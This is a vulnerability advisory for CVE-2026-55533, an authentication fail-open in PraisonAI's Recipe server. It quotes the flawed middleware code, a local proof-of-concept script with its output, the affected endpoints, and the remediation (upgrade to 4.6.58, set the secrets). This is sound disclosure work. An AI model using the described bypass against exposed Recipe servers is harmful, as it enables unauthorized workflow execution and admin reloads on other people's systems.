CVE-2026-55533: PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
Summary
The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.
This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.
The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.
Details
The Recipe server documents the following authentication modes:
- none - api-key - jwt
Relevant source locations:
- src/praisonai/praisonai/recipe/serve.py - src/praisonai/praisonai/cli/features/recipe.py
In createauthmiddleware(), the API key middleware resolves the expected key as:
python expectedkey = apikey or os.environ.get("PRAISONAIAPIKEY")
if not expectedkey: # No key configured, allow request return await callnext(request)
This means auth: api-key does not enforce authentication if apikey / PRAISONAIAPIKEY is missing.
The JWT middleware has the same fail-open behavior:
python secret = jwtsecret or os.environ.get("PRAISONAIJWTSECRET") if not secret: return await callnext(request)
The auth middleware is still attached when auth is configured:
python authtype = config.get("auth") if authtype and authtype != "none": authmiddleware = createauthmiddleware( authtype, apikey=config.get("apikey"), jwtsecret=config.get("jwtsecret"), ) if authmiddleware: middleware.append(Middleware(authmiddleware))
The CLI path makes this externally reachable in a misconfigured deployment. In cmdserve, the non-localhost safety check only verifies that auth is not "none":
python if host != "127.0.0.1" and host != "localhost" and auth == "none": self.printerror("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXITPOLICYDENIED
Therefore, this command passes the safety check:
bash praisonai recipe serve --host 0.0.0.0 --auth api-key
However, if no --api-key or PRAISONAIAPIKEY is configured, requests are still accepted without authentication.
Affected endpoints include:
- POST /v1/recipes/run - POST /v1/recipes/stream - POST /v1/recipes/validate - optional POST /admin/reload when enableadmin is true
PoC
The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.
Run from the repository root with test dependencies installed:
bash python3 pocrecipeauthfailopen.py
pocrecipeauthfailopen.py:
python import os import sys from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
Ensure no secrets are present in the environment. os.environ.pop("PRAISONAIAPIKEY", None) os.environ.pop("PRAISONAIJWTSECRET", None)
from praisonai.recipe.serve import createapp
api-key auth selected, but no key configured. appopen = createapp({"auth": "api-key", "enableadmin": True}) clientopen = TestClient(appopen)
print("api-key auth with missing key:") print("GET /openapi.json:", clientopen.get("/openapi.json").statuscode) print("POST /admin/reload:", clientopen.post("/admin/reload").statuscode)
api-key auth selected with an actual key configured. appclosed = createapp({ "auth": "api-key", "apikey": "expected", "enableadmin": True, }) clientclosed = TestClient(appclosed)
print("\napi-key auth with configured key:") print("missing key:", clientclosed.post("/admin/reload").statuscode) print("wrong key:", clientclosed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).statuscode) print("correct key:", clientclosed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).statuscode)
jwt auth selected, but no JWT secret configured. appjwtopen = createapp({"auth": "jwt"}) clientjwtopen = TestClient(appjwtopen)
print("\njwt auth with missing secret:") print("GET /openapi.json:", clientjwtopen.get("/openapi.json").statuscode)
Observed output:
text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200
api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200
jwt auth with missing secret: GET /openapi.json: 200
The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.
Impact
In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.
This gives unauthenticated access to recipe execution endpoints such as:
- POST /v1/recipes/run - POST /v1/recipes/stream
If admin endpoints are enabled, the attacker can also access:
- POST /admin/reload
The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.
Other sources
PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, createauthmiddleware() allows requests when auth=api-key lacks PRAISONAIAPIKEY or JWT authentication lacks PRAISONAIJWTSECRET. An externally bound Recipe server can therefore accept unauthenticated POST /v1/recipes/run requests despite authentication being enabled. This issue is fixed in version 4.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Upgrade
Upgrade
praisonaito a version that resolves this vulnerability.Fixed in 4.6.58 - Operational
Ensure required secrets are configured when using Recipe server authentication modes: set PRAISONAI_API_KEY when auth is configured as api-key, and set PRAISONAI_JWT_SECRET when auth is configured as jwt. Otherwise the server can fail open and accept unauthenticated requests.